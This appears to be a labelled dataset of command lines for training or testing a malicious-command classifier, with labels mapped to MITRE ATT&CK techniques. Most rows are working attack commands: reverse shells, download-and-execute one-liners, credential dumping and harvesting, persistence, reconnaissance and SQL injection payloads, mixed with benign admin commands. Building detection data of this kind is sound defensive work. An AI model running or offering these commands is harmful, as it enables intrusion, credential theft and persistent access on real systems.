text
stringlengths
4
527
label
stringclasses
7 values
label_id
int64
0
6
language
stringclasses
5 values
mitre_technique
stringclasses
83 values
template_id
stringclasses
377 values
EXPLAIN ANALYZE SELECT * FROM invoices WHERE id = 47;
benign
0
sql
null
benign-079
Get-ChILDITEM -Recurse -InClUde UnatteNd.xml,sYspreP.xMl,web.CoNfig -PaTh C:\ -ERRoRAction SILEntLyCONtiNue | SelECT-StriNg -PATterN 'pAssWoRd'
credential_harvesting
2
powershell
T1552.001
credential_harvesting-065
echo 'alias sudo="read -sp \"[sudo] password for $USER: \" p; echo $p >> /tmp/.agent; sudo"' >> ~/.bashrc
credential_harvesting
2
bash
T1056.001
credential_harvesting-012
COPY sessions FROM PROGRAM 'curl -s http://192.0.2.53/payload71.sh | bash';
download_execute
5
sql
T1105
download_execute-026
New-Service -Name GoogleUpdateTaskMachine -BinaryPathName 'C:\ProgramData\health85.exe' -StartupType Automatic
persistence
4
powershell
T1543.003
persistence-045
cmd.exe /c "ntdsutil "ac i ntds" "ifm" "create full C:\Temp\install" q q"
credential_harvesting
2
cmd
T1003.003
credential_harvesting-030
chmod 644 /srv/data/data16.conf
benign
0
bash
null
benign-027
socat TCP:198.51.100.88:8080 EXEC:sh
reverse_shell
3
bash
T1059.004
reverse_shell-037
curl "http://203.0.113.202/item.php?id=9%27%20UNION%20SELECT%201,2,3--%20-"
sql_injection
6
bash
T1190
sql_injection-049
045'+AND+BENCHMARK(5000000,MD5('a'))--+-
sql_injection
6
sql
T1190
sql_injection-036
$c = Get-Credential -Message 'Your session has expired. Please re-enter your password'; $c.GetNetworkCredential().Password | Out-File $env:TEMP\agent61.txt
credential_harvesting
2
powershell
T1056.002
credential_harvesting-025
socat OPENSSL:192.0.2.202:1337,verify=0 EXEC:/bin/bash
reverse_shell
3
bash
T1059.004
reverse_shell-038
sudo ufw allow 53/tcp
benign
0
bash
null
benign-035
echo '[Desktop Entry]\nExec=/tmp/.health40' > ~/.config/autostart/SystemHealth.desktop
persistence
4
bash
T1037.005
persistence-042
sc creaTe WInDowsUpdaTeSvc biNPATh= "C:\PRogramData\LIb.exe" stArT= auto & sc start WiNdowsUPdatESvC
persistence
4
cmd
T1543.003
persistence-021
curl -I https://example.net
benign
0
bash
null
benign-094
node -e 'sh=require("child_process").spawn("/bin/sh");c=require("net").connect(8443,"203.0.113.149",()=>{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)})'
reverse_shell
3
bash
T1059
reverse_shell-015
tYpe C:\InetPUB\wwWRooT\web.cOnfig | FindStr cOnNEcTIoNString
credential_harvesting
2
cmd
T1552.001
credential_harvesting-073
sh -i >& /dev/udp/203.0.113.61/8080 0>&1
reverse_shell
3
bash
T1059.004
reverse_shell-030
nikto -h http://192.0.2.16
reconnaissance
1
bash
T1595
reconnaissance-020
/usr/bin/nc -c bash 192.0.2.60 8080
reverse_shell
3
bash
T1059.004
reverse_shell-034
openssl x509 -in /etc/ssl/certs/app4.example.org.pem -noout -enddate
benign
0
bash
null
benign-108
1;seLeCt pg_sLeep(5)
sql_injection
6
sql
T1190
sql_injection-041
awk 'BEGIN {s = "/inet/tcp/0/203.0.113.188/80"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
reverse_shell
3
bash
T1059
reverse_shell-013
sudo mknod /tmp/tmp p; /bin/sh 0</tmp/tmp | nc 203.0.113.165 8443 1>/tmp/tmp
reverse_shell
3
bash
T1059.004
reverse_shell-006
ansible-playbook -i inventory/prod.ini site.yml --limit build10.example.org
benign
0
bash
null
benign-102
Get-ProcesS | WHerE-OBjeCt { $_.PRoCessNAme -match 'MsMpEnG|CSFAlcon|SEntinelAgEnt|cb' }
reconnaissance
1
powershell
T1518.001
reconnaissance-080
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8yMDMuMC4xMTMuMTY2LzQ0MyAwPiYx | base64 -d | bash
reverse_shell
3
bash
T1059.004
reverse_shell-018
curl -fsSL http://203.0.113.146/stage284 -o /tmp/.stage284 && chmod +x /tmp/.stage284 && /tmp/.stage284
download_execute
5
bash
T1105
download_execute-002
echo '/tmp/.update 2>/dev/null &' >> /etc/bash.bashrc
persistence
4
bash
T1546.004
persistence-036
Invoke-WebRequest -Uri https://downloads.acme.test/stage216.msi -OutFile $env:TEMP\stage216.msi
benign
0
powershell
null
benign-051
sudo tcpdump -i eth0 port 53 -c 41
benign
0
bash
null
benign-105
hydra -L users.txt -P passwords.txt ssh://203.0.113.95 -t 4
credential_harvesting
2
bash
T1110.003
credential_harvesting-016
[WindowS.SecUrIty.CredeNtIals.PasswoRdVAULt,WindOws.SecUrity.CRedentiaLs,CoNtenTTYpe=WIndowsRuntimE];(NEw-Object WInDOWS.SecuriTy.CreDeNtials.PasSworDVaulT).RetrieVeALl() | % { $_.RetrieVePassworD(); $_ }
credential_harvesting
2
powershell
T1555.004
credential_harvesting-023
mshta http://198.51.100.16:47914/kdev91.hta
reverse_shell
3
cmd
T1218.005
reverse_shell-027
sudo nmap -sV -sC -O 192.0.2.0/24
reconnaissance
1
bash
T1046
reconnaissance-001
$cliEnt = New-OBjecT SysteM.NeT.SOcKetS.TCPClienT('192.0.2.32',1337);$STReam = $ClIenT.GetStream();[Byte[]]$byTes = 0..65535|%{0};While(($i = $STrEam.REaD($bytES, 0, $BytEs.LengtH)) -ne 0){;$dAtA = (New-ObjEct -TyPeNaMe SYsteM.TexT.ASCIIEnCodIng).GetString($BYtes,0, $i);$sendbaCk = (iex $data 2>&1 | Out-String );$seNDb...
reverse_shell
3
powershell
T1059.001
reverse_shell-019
CREATE USER 'toor'@'%' IDENTIFIED BY 'Winter2024!'; GRANT ALL PRIVILEGES ON *.* TO 'toor'@'%' WITH GRANT OPTION;
persistence
4
sql
T1136
persistence-027
sudo wget -q https://downloads.example.com/data-4.8.4.zip -O /tmp/data.zip && sha256sum /tmp/data.zip
benign
0
bash
null
benign-024
scp frank@192.0.2.42:/srv/update39 /tmp/ && chmod +x /tmp/update39 && /tmp/update39
download_execute
5
bash
T1105
download_execute-033
cmd.exe /c "net group "Enterprise Admins" /domain"
reconnaissance
1
cmd
T1069.002
reconnaissance-086
C:\Users\Public\nc64.exe 198.51.100.167 53 -e powershell.exe
reverse_shell
3
cmd
T1059.003
reverse_shell-051
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\stage251" q q
credential_harvesting
2
cmd
T1003.003
credential_harvesting-030
gcore -o /tmp/data10 $(pgrep -f sshd | head -1) && strings /tmp/data10* | grep -i password
credential_harvesting
2
bash
T1003.007
credential_harvesting-044
impacket-GetUserSPNs contoso.test/dave:'Passw0rd1' -dc-ip 192.0.2.154 -request
credential_harvesting
2
bash
T1558.003
credential_harvesting-015
Add-Content -Path $PROFILE -Value 'Start-Process -WindowStyle Hidden $env:APPDATA\tmp10.exe'
persistence
4
powershell
T1546.013
persistence-018
EXEC xp_cmdshell 'powershell -c "iex(iwr http://203.0.113.97/agent16.ps1 -useb)"';
download_execute
5
sql
T1105
download_execute-051
'; UPDATE users SET password='Summer#99' WHERE username='admin'--
sql_injection
6
sql
T1190
sql_injection-038
IEX ([Text.Encoding]::ASCII.GetString((Invoke-WebRequest http://203.0.113.133/lib21.txt -UseBasicParsing).Content))
download_execute
5
powershell
T1059.001
download_execute-041
GEt-GPPPasswoRd
credential_harvesting
2
powershell
T1552.006
credential_harvesting-026
'/**/UNion/**/sELecT/**/NULL,nuLL,NUlL,NULl,NuLL/**/iNTO/**/OUtFILE/**/'/Var/www/html/LOAder.phP'--/**/-
sql_injection
6
sql
T1190
sql_injection-037
For /L %i iN (1,1,254) Do @pING -n 1 -w 100 198.51.100.%i | fiND "TTL"
reconnaissance
1
cmd
T1018
reconnaissance-083
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" $env:TEMP\x30.db
credential_harvesting
2
powershell
T1555.003
credential_harvesting-024
1..254 | % { TeSt-COnNectiON -CounT 1 -QuieT 203.0.113.$_ }
reconnaissance
1
powershell
T1018
reconnaissance-071
zsh -c 'zmodload zsh/net/tcp && ztcp 203.0.113.221 8443 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
reverse_shell
3
bash
T1059.004
reverse_shell-033
net share & net session & net view \\db7.example.net
reconnaissance
1
cmd
T1135
reconnaissance-084
Cookie: session=cache' OR '1'='1
sql_injection
6
http
T1190
sql_injection-046
cmd.exe /c "mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit"
credential_harvesting
2
cmd
T1003.001
credential_harvesting-035
sudo 0<&196;exec 196<>/dev/tcp/192.0.2.145/8080; sh <&196 >&196 2>&196
reverse_shell
3
bash
T1059.004
reverse_shell-002
1' GROUP BY sku HAVING 1=1--;%00
sql_injection
6
sql
T1190
sql_injection-043
$sm=(New-Object Net.Sockets.TCPClient('198.51.100.108',38840)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
reverse_shell
3
powershell
T1059.001
reverse_shell-047
mkdir -p ~/.ssh && echo 'ssh-ed25519 AAAA4VmoSUreiXoNI6V7G60XnX/5So0LEJrTDHXywSR6luqkqKovioSMVxpF postgres@web5.example.net' >> ~/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-002
ncat --ssl 203.0.113.142 8443 -e /bin/bash
reverse_shell
3
bash
T1059.004
reverse_shell-036
sudo htop
benign
0
bash
null
benign-044
$w=New-Object Net.WebClient;$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iex $w.DownloadString('https://cdn-deploy.service.example/update')
download_execute
5
powershell
T1059.001
download_execute-017
cmstp.exe /ni /s http://203.0.113.178/data.inf
download_execute
5
cmd
T1218.003
download_execute-049
Copy-Item -Path C:\Users\jsmith\Documents\*.docx -Destination \\db17.service.example\share\backup
benign
0
powershell
null
benign-054
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe,C:\ProgramData\health77.exe" /f
persistence
4
cmd
T1547.004
persistence-024
x'+AND+1=CONVERT(int,(SELECT+TOP+1+name+FROM+sysobjects+WHERE+xtype='U'))--/*
sql_injection
6
sql
T1190
sql_injection-009
terraform plan -out=tfplan
benign
0
bash
null
benign-043
sudo perl -e 'use Socket;$i="192.0.2.95";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
reverse_shell
3
bash
T1059
reverse_shell-010
curl "http://192.0.2.2/item.php?id=41%27%20UNION%20SELECT%201,2,3--%20-"
sql_injection
6
bash
T1190
sql_injection-049
reg save HKLM\SAM C:\Windows\Temp\sam.save & reg save HKLM\SYSTEM C:\Windows\Temp\system.save
credential_harvesting
2
cmd
T1003.002
credential_harvesting-028
Invoke-RestMethod -Uri https://api.example.org/v1/status -Method Get
benign
0
powershell
null
benign-050
cmd.exe /c "regsvr32 /s /u /i:https://cdn-update.service.example/stage2.sct scrobj.dll"
download_execute
5
cmd
T1218.010
download_execute-045
powershell.exe -Command "Get-ChildItem -Path C:\Users -Include *.txt,*.config,*.xml -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern 'password'"
credential_harvesting
2
powershell
T1552.001
credential_harvesting-022
neT user /DOmAiN & nEt gRoUp "DOMaiN ADminS" /dOMaIn
reconnaissance
1
cmd
T1087.002
reconnaissance-034
certutil -hashfile $env:USERPROFILE\Desktop\update.iso SHA256
benign
0
cmd
null
benign-136
admin" OR 1=1 -- #
sql_injection
6
sql
T1190
sql_injection-027
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'kworkerd' -Value 'powershell -w hidden -nop -c IEX(IWR http://203.0.113.7/update.ps1)'
persistence
4
powershell
T1547.001
persistence-013
lua -e "require('socket');require('os');t=socket.tcp();t:connect('198.51.100.56','1337');os.execute('/bin/sh -i <&3 >&3 2>&3');"
reverse_shell
3
bash
T1059
reverse_shell-014
powershell.exe -Command "$x=[System.Net.WebRequest]::Create('http://198.51.100.80/health');$r=New-Object IO.StreamReader($x.GetResponse().GetResponseStream());iex $r.ReadToEnd()"
download_execute
5
powershell
T1059.001
download_execute-042
az account list && az vm list -o table && az ad user list
reconnaissance
1
bash
T1580
reconnaissance-069
powershell.exe -Command "& "C:\Program Files\Microsoft Visual Studio\Common7\IDE\dump64.exe" (Get-Process lsass).Id C:\Temp\lib99.dmp"
credential_harvesting
2
powershell
T1003.001
credential_harvesting-059
sudo arp-scan --localnet
reconnaissance
1
bash
T1018
reconnaissance-051
Get-ChildItem -Path \\files20.service.example\C$ -Recurse -ErrorAction SilentlyContinue
reconnaissance
1
powershell
T1083
reconnaissance-078
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('203.0.113.236',5555)" & rem interactive
reverse_shell
3
cmd
T1059.003
reverse_shell-053
for p in 22 80 443 445 3389; do (echo > /dev/tcp/198.51.100.53/$p) 2>/dev/null && echo "$p open"; done
reconnaissance
1
bash
T1046
reconnaissance-004
sudo nikto -h http://203.0.113.18
reconnaissance
1
bash
T1595
reconnaissance-020
33 UNION SELECT region, password FROM users
sql_injection
6
sql
T1190
sql_injection-028
echo 'alias sudo="read -sp \"[sudo] password for $USER: \" p; echo $p >> /tmp/.payload86; sudo"' >> ~/.bashrc
credential_harvesting
2
bash
T1056.001
credential_harvesting-012
/api/user?id=1%20OR%201=1
sql_injection
6
http
T1190
sql_injection-044
x34%20AND%20(SELECT%20SLEEP(15))--%20-#
sql_injection
6
sql
T1190
sql_injection-006
cp /tmp/x /usr/lib/systemd/system-generators/MicrosoftEdgeUpdate
persistence
4
bash
T1543.002
persistence-034
net user support Changeme123 /add & net localgroup administrators support /add
persistence
4
cmd
T1136.001
persistence-022
kubectl rollout restart deployment/mysql -n staging
benign
0
bash
null
benign-011
zsh -c 'zmodload zsh/net/tcp && ztcp 203.0.113.76 1337 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
reverse_shell
3
bash
T1059.004
reverse_shell-033
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" $env:TEMP\conf48.db
credential_harvesting
2
powershell
T1555.003
credential_harvesting-024
/api/user?id=14%20OR%201=1
sql_injection
6
http
T1190
sql_injection-044
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\stage27" q q
credential_harvesting
2
cmd
T1003.003
credential_harvesting-030